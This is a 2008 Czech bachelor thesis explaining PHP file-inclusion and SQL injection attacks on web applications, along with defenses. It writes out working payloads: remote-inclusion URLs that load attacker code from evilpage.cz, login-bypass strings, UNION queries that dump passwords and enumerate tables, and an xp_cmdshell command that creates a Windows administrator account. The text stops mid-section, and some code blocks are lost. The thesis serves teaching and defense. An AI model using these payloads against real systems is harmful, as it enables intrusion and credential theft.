České vysoké učení technické v Praze Fakulta elektrotechnická
Bakalářská práce
Bezpečnostní problémy internetových aplikací Martin Mejzr
Vedoucí práce: Ing. Zdeněk Troníček Ph.D.
Studijní program: Elektrotechnika a informatika strukturovaný bakalářský Obor: Informatika a výpočetní technika červenec 2008
ii
Poděkování: Chěl bych zde poděkovat především své rodině, která mě podporovala po celou dobu mého studia.
iii
iv
Prohlášení Prohlašuji, že jsem svou bakalářskou práci vypracoval samostatně a použil jsem pouze podklady uvedené v přiloženém seznamu. Nemám závažný důvod proti užití tohoto školního díla ve smyslu §60 zákona č. 121/2000 sb., o právu autorském, o právech souvisejících s právem autorským a o změně některých zákonů (autorský zákon).
V Čelákovicích dne 20.5. 2008
.............................................
v
vi
Abstract Tato práce se snaží přiblížit nejrozšířenější metody útoků na internetové aplikace. Pokouší se vysvětlit jejich princip, možné důsledky a postupy, které tyto útoky znemožňují.
Abstrakt This bachelor thesis try to apprise the most widespread methods of offenses to internet applications. It try to consecrate it's principle, possible consequences and technique, which block this offences.
vii
viii
Obsah Seznam obrázků ................................................. x 1 Úvod ......................................................... 1 2 Útoky proti serverové části .................................. 2 2.1 Code injection ............................................ 2 2.1.1 PHP 2.1.1.1 2.1.1.2 2.1.1.3 2.1.1.4 2.1.1.5 2.1.1.6
Injection ....................................... Obecně o PHP injection ........................... Předpoklady úspěšného útoku ...................... Možné důsledky úspěšného útoku ................... Příklady útoků a neúčinných typů obran proti útoku Účinné způsoby ochrany ........................... Shrnutí PHP Injection ............................
2 2 2 3 4 7 9
2.1.2 SQL 2.1.2.1 2.1.2.2 2.1.2.3 2.1.2.4 2.1.2.5 2.1.2.6
Injection ....................................... Obecně o SQL Injection .......................... Předpoklady úspěšného útoku ..................... Možné důsledky úspěšného útoku .................. Příklady útoků SQL Injection .................... Obrana proti SQL Injection ...................... Shrnutí SQL Injection ...........................
10 10 10 10 10 19 22
2.2 Neochráněný upload a download souborů ................... 2.2.1 Možnosti zneužití neochráněného uploadu ............. 2.2.2 Možnosti zneužití neochráněného downloadu ........... 2.2.3 Kotrola typu souborů při uploadu souborů ............ 2.2.4 Kontrola parametrů skriptu pro download souborů ..... 2.2.5 Shrnutí .............................................
23 23 23 24 26 28
3 Útoky proti uživateli internetové aplikace .................. 29 3.1 XSS 3.1.1 3.1.2 3.1.3 3.1.4 3.1.5
- Cross-site scripting .............................. Obecně o XSS ........................................ Možnosti zneužití XSS ............................... Příklady útoků XSS .................................. Obrana proti XSS .................................... Shrnutí Cross-site Scripting ........................
29 29 30 30 34 34
3.2 CSRF - Cross Site Request Forgery ....................... 3.2.1 Obecně o Cross Site Reguest Forgery.................. 3.2.2 Příklady útoků Cross Site Reguest Forgery ........... 3.2.3 Obrana proti Cross Site Request Forgery ............. 3.2.4 Shrnutí Cross Site Request Forgery ..................
35 35 35 38 39
4 Závěr ....................................................... 40 5 Seznam literatury ........................................... 41 ix
Seznam Obrázků Obrázek 1: Zadání parametrů útoku programu Absinthe ........... 16 Obrázek 2: Schéma databáze zjištěné programem Absinthe ........ 17 Obrázek 3: Získávání dat z databáze programem Absinthe ........ 17
x
1 Úvod V současné době zažívají internetové aplikace veliký rozvoj. Jejich popularita je dána především velkým množstvím potencionálních uživatelů a tím, že moderní vývojové nástroje představují jednoduché a rychlé možnosti tvorby jejich tvorby. Moderní internetové aplikace se většinou skládají ze tří částí. První z nich je webový server, na kterém daná internetová aplikace běží, dále databázový server pro uchovávání dat aplikace a poslední částí je internetový prohlížeč uživatele, který slouží jako tenký klient. Bezpečnost internetových aplikací závisí na mnoha faktorech. Jedná se o fyzickou bezpečnost serverů, kdy je nutné potencionálnímu útočníkovi zabránit v možnosti odcizení hardware. Dále o bezpečnost a konfiguraci aplikací a operačního systému, pod kterým daný server běží a v neposlední řadě o zabezpečení samotné webové aplikace, kterým se hodlám zabývat ve své práci. Cíle útočníků jsou různé, nicméně s velkým rozmachem komercionalizace internetu začíná převládat ekonomické hledisko. S rostoucí popularitou internetových aplikací se začínají objevovat čím dál tím sofistikovanější metody útoků proti nim. Nejrozšířenější z nich se ve své práci snažim přiblížit, vysvětlit jejich pricip, možné důsledky a především postupy, jak těmto útokům předejít.
1
2 Útoky proti serverové části 2.1 Code Injection Pojem „Code injection“ obecně sdružuje útoky, při kterých dochází ke spuštění vzdáleného kódu v kontextu aplikace, tyto útoky mohou mít naprosto fatální následky. Pokud se útočníkovi jednou podaří útok tohoto typu provést, může získat naprostou kontrolu nad chodem aplikace, získat přístupová hesla, upravit aplikaci pro svojí potřebu atd. Útoky typu „Code injection“ získaly v posledích letech obrovskou popularitu mezi útočníky hlavně proto, že jejich provedení nevyžaduje velké znalosti. Z tohoto důvodu bývají využívány zejména začínajícími „hackery“ a tzv. „Script kiddies“. Naštěstí díky této popularitě jsou s nimi progamátoři internetových aplikací v současné době již většinou seznámeni a snaží se jim předcházet. Nicméně některé obecné postupy ochrany nejsou nepřekonatelné, jak se dozvíme později. Hlavní typy Code injection jsou PHP-injection a SQL-injection. Proto se budu ve své práci zabývat hlavě těmito typy. Teoreticky je možné tímto způsobem napadnout jakoukoliv technologii, která umožňuje vložit a spustit kód na straně serveru. Jelikož ovšem dnes drtivá většina aplikací používá databáze, je potenciálně napadnutelná metodou SQL-injection.
2.1.1 PHP Injection PHP-Injection, někdy též nazývaná PHP Include i přes to, že patří k nejpopulárnějším metodám útoku na webové aplikace a její úspěšné provedení má nedozírné následky, je v současné době stále velice rozšířená. Největší chyba programátorů je, že buď o této chybě nevědí, nebo přehlédnou potencionálně nebezpečné místo v programu, nebo chybu ošetří zbůsobem, který se nechá obejít.
2.1.1.1 Obecně o PHP Injection Samotnou podstatou útoku je neošetření parametrů funkce include() respektive include_once(), require() nebo require_once(). Tyto funkce v PHP vkládají na místo volání funkce obsah souboru, který je parametrem funkce. Pokud tento soubor obsahuje PHP kód, tak se tento kód vykoná. Rozdíl mezi funkcemi z hlediska syntaxe i bezpečnosti je nepodstatný, proto budu příklady popisovat pouze na funkci include. Jako parametr funkce nemusí být jen cesta k lokálnímu souboru, může to být i libovolné URL, čehož útočníci většinou využívají.
2.1.1.2 Předpoklady úspěšného útoku Hlavním předpokladem provedení útoku je použití funkce include() s parametrem, který je možno předat funkci "z venčí" například metodou POST nebo GET. Pro vkládání vzdáleného skriptu je také nutné mít zapnutu direktivu allow_url_fopen() , která povoluje/zakazuje vkládání souborů z jiné domény.
2.1.1.3 Možné důsledky úspěšného útoku Úspěšné provedení PHP Injection má za následek kompletní ovládnutí webové aplikace, včetně přístupu ke všem datům, jako jsou hesla k databázi, zdrojové kódy aplikace a podobně. Útočník může učinit vše od změny designu stránek, přes využití serveru jako skladiště nelegálního obsahu, až po úplné smazání aplikace, či, za určitých okolností, k ovládnutí celého serveru. 2
2.1.1.4 Příklady útoků a neúčinných typů obran proti útoku Typickým příkladem je vkládání těla stránek pomocí metody GET podobným způsobem: http://www.server.cz/index.php?page=home.php
Soubor index.php obsahuje kód, který zajišťuje vložení příslušné stránky, ten může vypadat následujícím způsobem: include $_GET['page'];
Na první pohled se pouze vloží na výstup stránka home.php, avšak právě tento jediný řádek stačí útočníkovi ke kompletnímu ovládnutí webové aplikace. Toho dosáhne tak, že zavolá URL ve tvaru: http://www.server.cz/index.php?page=http://www.evilpage.cz/inc
Stránky www.evilpage.cz mohou být klidně na libovolném freehostingu. Soubor inc.txt ( Jméno může být libovolné, inc.txt uvádím jako příklad) obsahuje PHP kód, který chce útočník na cílovém serveru spustit. Příponu .txt má z toho důvodu, že pokud by měl příponu .php tak by došlo k vykonání skriptu už na serveru www.evilpage.cz a na www.server.cz by se poslal nikoliv kód, ale výstup skriptu. Soubor může mít naprosto libovolnou příponu, která se ovšem na www.evilpagecz neinterpretuje. Nejčastější skripty používané útočníkem jsou příkazy pro zobrazení zdrojového kódu skriptu:
nebo:
a skripty pro vypsání obsahu adresáře: Read();
//Tyto dva řádky jsou pro odfiltrování adresářů . a ..
$tmp=$adresar->Read();
while($polozka=$adresar->Read()) { echo $polozka."
"; } $adresar->Close(); ?> Spuštění takovýchto skiptů může mít za následek získání kompletních zrojových kódů webové aplikace útočníkem. Lze též includovat skripty pro přepsání, či kompletní smazání stránek. Obrana spočívá v kontrole proměnné $page a nastavení samotného PHP v php.ini. Kontrolu vstupní proměnné $page mnoho programátorů buď neprovádí, nebo provádí 3
špatně. Na následujících příkladech ukáži chybné, avšak velmi časté způsoby kontroly proměné $page, a také příklad správné kontroly. Způsob první: Kontrola je provedena tak, že obsahuje konstrukci podobnou této: include $_GET['page'].'.php';
Tato konstrukce přidává za proměnnou příponu .php, takže znemožňuje incluzi souboru http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt
ten by se totiž includoval jako: http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt.php
Toto volání by samozdřejmě skončilo chybou. Toto je ovšem ochrana pouze domělá, jelikož existuje několik způsobů jak toto opatření obejít: 1) Includovaný soubor bude mít opravdu příponu .php, ovšem jeho interpretovaný výstup se bude rovnat požadovanému skriptu:
echo "
2)Útočník ponechá script v původní podobě i s příponou .php, ale bude ho nahrávat přes jiný protokol, např. FTP: http://www.server.cz/index.php? page=ftp://username:
[email protected]/inc
nebo v případě ftp serveru bez hesla: http://www.server.cz/index.php?page=ftp://
[email protected]/inc
Samozdřejmě se nemusí jednat jen o ftp, ale například o \\smbserver\ a další protokoly. 3)Další možností je doplnění URL o tzv. nulový byte %00 : http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt%00
To zapříčiní, že ve výsledném includovaném URL, se vše za nulovým bytem %00 bude ignorovat. 4)Jedna z možností je také volat skript s parametrem například takto: http://www.server.cz/index.php?page=http://www.evilpage.cz/inc.txt?prm=
Výsledkem tohoto typu volání bude to, že vkládaná přípona .php, bude hodnotou proměnné $prm. 4
Jak je vidět, tak na první pohled vcelku jednoduchá obrana proti PHP injection, na kterou nemalé procento programátorů spoléhá jako na dostatečnou, je ve skutečnosti ještě jednodušeji překonatelná. Způsob druhý: Dalším velice rozšířeným způsobem obrany a v tomto případě již značně účinným, nicméně ne neprolomitelným, je následující kostrukce: include "./$_GET['page']";
Tato konstrukce znemožňuje vkládání z jiného serveru tím, že doplňuje před proměnnou cestu k lokálnímu adresáři (samozdřejmě místo ./ tam může bý jakákoliv cesta k adresáři s předpokládaným výskytem souboru). Podobného výsledku docílíme vypnutím funkce allow_url_fopen(), ta přímo zakazuje vkládání vzdálených souborů, nebo použití kontrolní funkce file_exists(), která kontroluje existenci výhradně lokálních souborů: Obrana pomocí funkce file_exist()
Tato obrana odradí drtivou většinu útočníků a pokud se aplikace nachází na soukromém serveru, tak je 100% účinná. V případě, že je webová aplikace umístěna na webhostingu, tak ovšem neprolomitelná není. Pokud útočník získá webhosting na stejném serveru, má opět několik možností k napadení aplikace. Jeho první kroky budou zřejmě spuštění funkce phpinfo(), která mu prozradí konfiguraci serveru včetně použitých bezpečnostních opatření. Útočník se tak dozví, zda běží PHP v safe_modu, zda je vypnutá funkce allow_url_fopen(), jaké příkazy je zakázáno na serveru používat a množství dalších, pro útočníka velice cenných, informací. Pokud by server náhodou neběžel v safe-modu, což je v dnešní době velice nepravděpodobné a u webhostingu téměř vyloučené, tak by mohl útočník přímo zapisovat do adresářů ostatních uživatelů a celková bezpečnost by se rovnala nule. Zajímavější je postup útočníka pokud PHP běží v safe-modu to znamená, že má přístup pouze ke svému adresáři, až na tzv. "session proměnné". Jedná se o krátkou informaci, která se uloží do souboru na serveru, aby si ji pak mohl klient (návštěvník) později vyžádat. To samo o sobě není pro útočníka důležité, zajímavější je pro něj informace, kam se tyto dočasné soubory ukládají a fakt, že obsah, může jednoduše ovlivnit. Takový příklad ukazuje následující skript:
5
//";
V prvním řádku předá útočník funkci session_save_path() absolutní cestu, kam chce soubor uložit. Může si vybrat opravdu libovolný adresář, tedy i ostatních uživatelů. Název souboru lze ovlivnit jen z části. Je dovoleno používat pouze malá a velká písmena a číslice, nelze proto zadat souboru příponu. Název je pak automaticky doplněn prefixem sess_, v našem případě se tedy soubor bude jmenovat sess_inc. Třetí příkaz se postará o vytvoření souboru a čtvrtý o jeho obsah. Ten musí vždy končit komentářem // a ukončovací PHP řetězec ?> se nezapisuje. Poslední řádek zapíše obsah proměnné $code do souboru sess_inc. Poté, co vytvoří útočník soubor s vlastním kódem ve stejném adresáři, kde je uložen index.php webové aplikace, načte ve svém prohlížeči pro vložení svého scriptu následující URL: http://www.server.cz/index.php?page=sess_inc
Samozdřejmě, že ne na všech serverch je možno ukládat session proměnné do jakéhokoliv adresáře. V tomto případě může útočník uložit svůj script do jednoho ze společných adresářů všech uživatelů. Seznam těchto adresářů ukazuje direktiva open_basedir, např. /tmp. Výsledné URL které zapříčiní vložení a spuštění útočníkova scriptu poté vypadá následovně: http://www.server.cz/index.php?page=../../../../../tmp/sess_inc
Způsob třetí: Další způsob, který je nejčastěji používán k obraně proti PHP-injection je konstrukce podobná této: include './'.$_GET['page'].'.php';
Jedná se o kombinaci předchozího, nicméně přidání přípony .php zapříčiňuje nemožnost použití předchozí metody session z důvodu nemožnosti zapsat znak '.' (tečka) do názvu souboru. Toto může útočník obejít následujícím způsobem: Jelikož v direktivě open_basedir bývá společný adresář, do kterého mají právo zapisovat všichni uživatelé (např. /tmp), lze určitým způsobem zapsat potřebný script i s příponou .php. Funkce, kterou může útočník, ale i všichni uživatelé hostingu využít k zápisu do tohoto adresáře je tempnam(). Použití funkce: $name = tempnam('','inc.php');
První parametr udává cestu k dočasnému adresáři, ponechává se prázdný pro výchozí hodnotu. (mimo adresáře obsažené v direktivách open_basedir a upload_tmp_dir by se totiž zápis neměl vydařit) Druhý parametr je název samotného souboru, respektive jeho prefix. PHP totiž přidá na konec názvu ještě řetězec složený z libovolných 6 znaků (a-z, A-z, 0-9). Jak se tedy soubor jmenuje včetně absolutní cesty, se útočník dozví vypsáním proměnné $name. Způsob zápisu do vytvořeného souboru je shodný, jako zápis do libovolného souboru:
6
Script se zapíše opět bez ukončovací části ?>. Výsledný soubor má název podobný inc.phpWK4p9X. To by útočník zjistil vypsáním proměnné $name příkazem echo $name; Posledních šest pseudonáhodných znaků opravdu na první pohled znemožňuje tohoto způsobu využít, bohužel tento soubor se nechá jako každý jiný přejmenovat příkazem: $parts = pathinfo($name); rename($name, $parts['dirname'].'/inc.php');
Výsledný script by vypadal následovně:
Následně útočníkovi stačí výsledný script vložit podobným způsobem jako v předchozím případě: http://www.server.cz/index.php?page=../../../../../tmp/inc
Toto byly příklady často používaného nicméně neúčinného způsobu obrany před PHP-injection. Existují samozdřejmě i způsoby účinné.
2.1.1.5 Účinné způsoby ochrany Účinná obrana proti útoku PHP injection spočívá v důsledné kontrole parametru funkce include(). V případě soukromého serveru jako účinná obrana postačuje výše zmíněná konstrukce typu: include "./$_GET['page']";
nebo: include './'.$_GET['page'].'.php';
Elegantnější způsob je vytvořit si na vkládání stránek vlastní funkci podobnou této: function zobraz_data(){ if ($_GET['page']<>''){ $data=$_GET['page']; } else{ $data="default"; } if (is_file($data.".php")){ $nazevsouboru=$data.".php"; include $nazevsouboru; } else{ include "./chybove_hlaseni.php"; } }
7
Tato funkce načte obsah proměnné $page a doplní ho o příponu .php, následně se pokusí nalést lokální soubor s tímto názvem, pokud se to podaří, tak ho includuje, pokud ne, tak includuje chybové hlášení. V případě prázdného requestu vloží defaultní stránku default.php. V případě webhostingu jsou možné následující metody: 1)Kontrola vstupní proměnné v kostrukci switch nebo if Toto se používá spíše u malých webů s malým množstvím stránek, které se mohou vkládat. Kostrukce switch vypadá následovně: switch ($_GET['page']) { case "moznost1": include("moznost1.php"); break; case "moznost2": include("moznost2.php"); break; default: echo "Chyba "; break; }
a konstrukce if: if ($_GET['page'] != "moznost1" || "moznost2"){ echo "Chyba"; } else{ include($page); }
Obě možnosti kontrolují shodnost vstupní proměnné s předem danými možnostmi a pokud se vstupní proměnná nerovná ani jedné z nich, vypisují chybu. Samozdřejmě je dobré tyto konstrukce doplnit o výpis defaultní stránky, použití seznamů povolených možností a vytvořit si na jejich základě vkládací funkce. Jednou z elegantních možností je také využití databáze povolených klíčových slov a jejich konverze na odpovídající cestu k lokálnímu souboru. 2)Kontrola vstupní proměnné na speciální znaky Nejjednoduším a nejúčinější obranou je kontrolovat vstupní proměnnou na výskyt znaku '/' (lomeno). To znemožňuje použít jakýkoliv výše uvedený způsob. Jeden z možných způsobů je použití regulárních výrazů, následující konstrukce je jednou z možností filtrování vstupu:
8
Nevýhodou této konstrukce je fakt, že lze vkládat soubory pouze z jednoho adresáře, to by ovšem při správném návrhu hierarchie adresářů webové aplikace nemělo znamenat potíže.
2.1.1.6 Shrnutí PHP Injection V současné době je tato chyba již velmi dobře známa a obrana proti ní není nijak složitá. Z tohoto důvodu se vyskytuje spíše u začínajících progamátorů webových aplikací, či jako důsledek přehlédnutí potencionálně nebezpečného místa. Jelikož je její použitelnost do značné míry závislá na konfiguraci PHP ve webovém serveru, je nutné dbát při jeho nastavování zvýšené pozornosti. Problém také může nastat při přechodu na jinou verzi PHP. V novjějších verzích již některé direktivy neexistují nebo jsou nahrazeny jinými a nelze se na ně proto již spoléhat. Vždy je nutné sledovat změny, které nová verze přináší a přispůsobit jim aplikaci.
9
2.1.2 SQL injection Pravděpodobně nejrozšířenější chyba typu Code-injection napadající přímo serverovou část webové aplikace. Jelikož drtivá většina databázových serverů používá jazyk SQL, tak se tato chyba může vyskytovat napříč platformami. Nezáleží tedy na jazyku webové aplikace, ale pouze na implementaci zabezpečení napsané v tomto jazyce.
2.1.2.1 Obecně o SQL Injection Podobně jako u PHP Injection šlo o podvržení parametrů funkce include(), zde se jedná o podvržení dotazu v jazyce SQL na databázový server. Jazyk SQL nabízí velice rychlý a jednoduchý přístup k datům uložených v databázi pomocí tzv. SQL dotazů. Ty svou jednoduchostí a silou umožňují výpis dat z databáze, editaci, přidávání a mazání záznamů a na platformě MS Windows a MS-SQL server i vykonávání systémových procedur.
2.1.2.2 Předpoklady úspěšného útoku Předpokladem útoku SQL Injecton je nedostatečně ošetřený vstup od uživatele, kterým je možno upravit SQL dotaz do databáze. Není podmínkou mít možnost editovat celý SQL dotaz, to ostatně není možné téměř nikdy. Útočníkovi stačí mít možnost editovat jen jeho malou část, například jednu hodnotu parametru viz. dále.
2.1.2.3 Možné důsledky úspěšného útoku Důsledkem SQL Injection bývá nejčastěji obcházení přihlašovacích formulářů a získání všech hesel uložených v databázi. Dalších využití je nespočet a záleží na konkrétní situaci. Pro představu například může útočník v e-shopu upravit cenu zboží a to následně nakoupit levněji, smazat celou databázi, nebo naprogramovat internetového červa, který díky tého chybě spustí u uživatele libovolný javascriptový kód.
2.1.2.4 Příklady útoků SQL Injection Bypassing U tohoto typu SQL Injection jde o obcházení přihlašovacích formulářů. Mějme standartní webový přihlašovací formulář:
Nejjednodušší cestou k ověření uživatele bude vytvoření SQL dotazu, který zkontroluje dotaz proti databázi a zjistí jestli daný uživatel existuje. Často se tato kontrola provádí na základě nenulového počtu řádků výsledku SQL dotazu. Pokud máme například databázi s tabulkou users:
10
Název sloupce id userName password email
Datový typ INT VARCHAR(32) VARCHAR(255) VARCHAR(255)
A pokud SQL dotaz vypadá podobně jako: SELECT count(*) FROM users WHERE userName='$_POST['username']' and password='$_POST['password']'
Tak může útočník zadáním následujících přihlašovacích údajů získat vstup do zabezpečené sekce aplikace pouze se znalostí uživatelského jména. Jestliže existuje uživatel "Admin" pak stačí jako uživatelské jméno zadat následující konstrukci: Admin' --
nebo: Admin' */
Rozdíl je pouze v použití komentáře - dvě pomlčky znamenají jednořádkový komentář a lomeno hvězdička víceřádkový, dále v texu budu pro jednoduchost uvádět jen jednu variantu. Hlavní je znak ' (apostrof) který ukončuje textovou hodnotu uživatelského jména, následný komentář ruší druhou podmínku a proto výsledný dotaz vypadá nasledovně: SELECT count(*) FROM users WHERE userName='Admin'--' and password=''
Výsledek je ten, že dotaz pouze ověřuje existenci uživatelského jména a nikoliv už hesla a tudíž dojde k úspěšnému přihlášení i bez jeho znalosti. Další možností se stejným výsledkem je napadnout pole pro zadání hesla použitím logického operátoru OR, který pokud je alespoň jedna podmínka splněna vrací pravdu. Do pole username vložíme známé úživatelské jméno, např. Admin a do pole password kostrukci: ' OR 1=1 --
Výsledný dotaz bude: SELECT count(*) FROM users WHERE userName='Admin' and password='' OR 1=1 --'
Jak je vidět, tak podmínka pro heslo password='' or 1=1 --' je díky druhé, vždy pravdivé podmínce splněna a proto dojde opět k úspěšnému přihlášení. Možností, jak je dotaz do databáze napsán je samozdřejmě více, nejčastěji jde o použití závorek, uvozovek, apod. To ovšem nijak neomezuje použití SQL Injection, pouze je nutné podvrhovanou hodnotu upravit tak, aby všechny párové znaky byly korektně ukončeny před vlastním kódem a následným komentářem.
11
Klasická SQL Injection Metoda klasické SQL Injection předpokládá znalost zdrojových kódů aplikace, respektive struktury databáze. Nejčastěji se s tímto typem útoku setkáváme u opensource webových aplikací, jako jsou redakční CMS sytémy, blogovací systémy či elektronické obchody. To umožňuje útočníkovi studiem zdrojových kódů předem přesně určit slabé místo v aplikaci. Následnému provedení útoku již nebrání žádná neznalost konkrétních poměrů v dané aplikaci a díky otevřenému kódu a předpokládané rozšířenosti je velice pravděpodobné napadení většího množství webových aplikací postavených na základě stejného systému. Pokud se útočníkovi podaří najít neošetřený vstup, kterým je možno SQL Injection provést a jestliže ani nastavení serveru respektive skriptovacího jazyka kterým je volán SQL dotaz mu v tom nezabraání, má útočník téměř neomezené možnosti jak tohoto využít. Pro příklad, mějme CMS (Content management system - redakční systém) ve kterém se jako parametr v URL předává číslo článku, jehož titulek chceme zobrazit. Výsledné URL bude například pro číslo článku vypadat následovně: http://www.server.cz/index.php?idClanku=4 Jesliže skript pro zobrazení stránky bude obsahovat dotaz podobný: V tomto stavu je aplikace nezabezpečená proti SQL-injection a útočník má celou databázi kompletně k dispozici. Stačí za číslo článku dosadit libovolný SQL dotaz splňující tuto kostrukci: -1' UNION libovolný_SQL_dotaz --
Číslo -1 zaručuje nulový počet nalezených záznamů, místo kterých je pomocí příkazu UNION a libovolný_SQL_dotaz vrácen výsledek útočníkova dotazu. Ten ovšem musí splňovat podmínku, že sloupce si formátem dat odpovídají a v případě ošetření aplikací i počet jeho výsledných záznamů odpovídá předpokládanému výsledku původního dotazu. Například pro vypsání hesla uživatele administrator z tabulky users v databázi by útočník zadal následující url: http://www.server.cz/index.php?idClanku=-1' UNION SELECT password FROM users WHERE username='administrator'-Výsledný dotaz by vypadal: SELECT titulek FROM tabulkaClanku WHERE idClanku ='-1' UNION SELECT password FROM users WHERE username='administrator' --' Možnosti zneužití vždy závisí na konkrétní aplikaci a cílech útočníka, jedním nezabezpečeným místem v aplikaci má útočník plný přístup k databázi a všem jejím možnostem. U databázového serveru společnosti Microsoft MSSQL Server má server navíc další možnost zneužití. Na rozdíl např. od MySQL serveru umožňuje MSSQL server zřetězení příkazů do databáze a to společně s tzv. vloženými procedurami představuje možnost ovládnutí celého stroje, nikoliv jen 12
databáze. Důsledky tohoto útoku závisí na právech pod kterými běží SQL server. Pokud nedej bože běží pod účtem sa - system administrator nebo účtem s administrátorskými právy, může si útočník vytvořit nového uživalele s administrátorskými právy a vzdáleně se přihlásit do windows. Útočný kód by se skládal ze dvou dotazů, pro demonstraci použiji databázi článků z předchozí ukázky. Prvním příkazem si útočník vytvoří nového uživatele systému windows: http://www.server.cz/index.php?idClanku=-1'exec master.dbo.xp_cmdshell 'net user hacker nejakeHeslo /add' -Výsledný dotaz bude vypadat následovně: SELECT titulek FROM tabulkaClanku WHERE idClanku='-1' exec master.dbo.xp_cmdshell 'net user hacker nejakeHeslo /add' -- '
První část dotazu je obyčelný SELECT , který vrací nulový počet záznamů. Zajímavější je druhá část, ve které se pomocí vložené procedury xp_cmdshell spustí příkaz "net user hacker nejakeHeslo /add" což má za následek vytvoření nového uživatele s uživatelským jménem hacker a heslem nejakeHeslo. Spuštění této nebezpečné procedury je právě důsledek možnosti zřetězení příkazů na MSSQL server. Nový uživatel bez potřebných práv by nebyl pro útočníka uspokojivým cílem a proto ho může následujícím příkazem přiřadit do skupiny Administrators. To je samozdřejmě podmíněno dostatečnými právy databázového serveru. Příkaz pro přidání uživatele do skupiny Administrators: http://www.server.cz/index.php?idClanku=-1'exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add' -Výsledný dotaz: SELECT titulek FROM tabulkaClanku WHERE idClanku='-1'exec
master.dbo.xp_cmdshell 'net localgroup administrators hacker /add' -- ' Pokud se útočníkovi podaří vzdáleně připojit na napadený server, má s uživatelským účtem lokálního administrátora opravdu široké pole působnosti.V nejhorším případě by molh SQL server běžet na doménovém řadiči a pak by byly důsledky opravdu katastrofální. Blind SQL Injection Blind SQL injection se od klasické SQL Injection liší v tom. že útočník předem nezná strukturu databáze, názvy tabulek, sloupců atd. První co útočník musí udělat, je zjištění, zda je SQL Injekce v testovaném místě aplikace možná. Existuje mnoho variant jak toto zjistit. Mějme předchozí aplikaci s výběrem titulku článku z databáze článků. Jednou z možností je zapasat číslo článku jako součet či rozdíl a pokud výsledek bude stejný, je veliká pravděpodobnost napadení aplikace pomocí SQL Injection. Příklady URL pro test chyby SQL Inkection: http://www.server.cz/index.php?idClanku=2 http://www.server.cz/index.php?idClanku=1+1
13
V našem případě by server vrátil chybu, protože řetězec 1+1 nění číslo. Pro úspěšné vykonání součtu by v v php skriptu volající SQL dataz nesměla být proměná idClanku ohraničena apostrofy. Po tomto zjištění zpravidla přichází test na podmínku, ten vypadá následovně: http://www.server.cz/index.php?idClanku=2' AND 1=1'-respektive: http://www.server.cz/index.php?idClanku=2' AND 1=0'-V případě, že první dotaz vrátí titulek článku číslo dvě a druhý nevrátí nic, je server náchylný na SQL Injection. Další elegantní metodou je využití funkce waitfor delay kterou obsahuje MSSQL server. Tato funkce způsobí zpoždění výsledku dotazu o zadaný čas ve formátu hodiny:minuty:sekundy. Pokud je stantartní odezva serveru řádově do jedné sekundy a po zanání následující URL se prodlouží o pět sekund, je server napadnutelný pomocí SQL Injection. URL pro zpoždění výsledku o 5 sekund: http://www.server.cz/index.php?idClanku=3' waitfor delay '0:0:5'-Výsledný dotaz: SELECT titulek FROM tabulkaClanku WHERE idClanku='3' waitfor delay '0:0:5'--' Další částí útoku je zjištění počtu sloupců v tabulce, toho útočník docílí pomocí postupného řazení výsledných záznamů podle čísla sloupce. Testováním URL http://www.server.cz/index.php?idClanku=3' GROUP BY n Kde n mění od 1 až do hodnoty, kdy se titulek článku číslo tři nezobrazí. To znamená, že tabulka má n-1 sloupců. Této znalosti útočník později využije k získání dat z jiných tabulek pomocí klauzule UNION Pokud je v tabulce např. 7 sloupců, tak následujícím příkazem útočník zjistí čísla sloupců, které jsou vypisované na výstup: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,2,3,4,5,6,7 -Čísla viditelná na stránce útočník použije pro výpis dalších informací z jiných tabulek. Řekněme, že v našem případě se zobrazuje jen titulek článku, který bude ve sloupci čílo dvě. Pro vypsání více hodnot se u MySQL hodí funkce concat(), která sloučí hodnoty několika sloupců. Použití: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,concat(database(),char(58,58),version(),char(58,58),user()),3,4, 5,6,7 -Tento příklad vypíše název databáze, verzi SQL serveru a uživatele, pod kterým databáze běží. Funkce char(58,58) je použite jen jako oddělovač položek, konkrétně dvě dvojtečky. U MSSQL existují podobné funkce, které mají stejný výsledek. Např. pro výpis verze SQL serveru: 14
http://www.server.cz/index.php?idClanku=-1' UNION SELECT @@VERSION -Největším problémem je pro útočníka zjistit názvy tabulek a sloupců. Názvy tabulek se u MySQL zapisují do tabulky information_schema. Využití této tabulky je následující, pro vypsání první tabulky v databázi: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()-Pro vypsání názvu druhé tabulky: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() and table_name != char(hexakod_nazvu_prvni_tabulky) -Pro třetí tabulku: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() AND table_name != char(hexakod_nazvu_prvni_tabulky) AND table_name != char(hexakod_nazvu_druhe_tabulky) -Tento postup je sice 100%, ale velice zdlouhavý a pro útočníka nepohodlný. Existuje i další, ne však 100% zaručující nalezení požadované tabulky. Jedná se o hledání předem definovaného substringu v názvu tabulky. Pokud útočník hledá uživatelská jména a hesla bude pravděpodobně hledat substring user pomocí následujícího příkazu: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() AND table_name LIKE char(37,117,115,101,114,37) -Po nalezení požadované tabulky útočník obdobným způsobem zjistí názvy sloupců. Opět má k dispozici dvě metody viz. výše. První 100% metoda pro název prvního sloupce: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) -Pro název druhého sloupce: http://www.server.cz/index.php?idClanku=-1' UNION ALL SELECT 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=char(hexakod_nazvu_tabulky) AND COLUMN_NAME != char(hexakod_nazvu_prvniho_sloupce) --
15
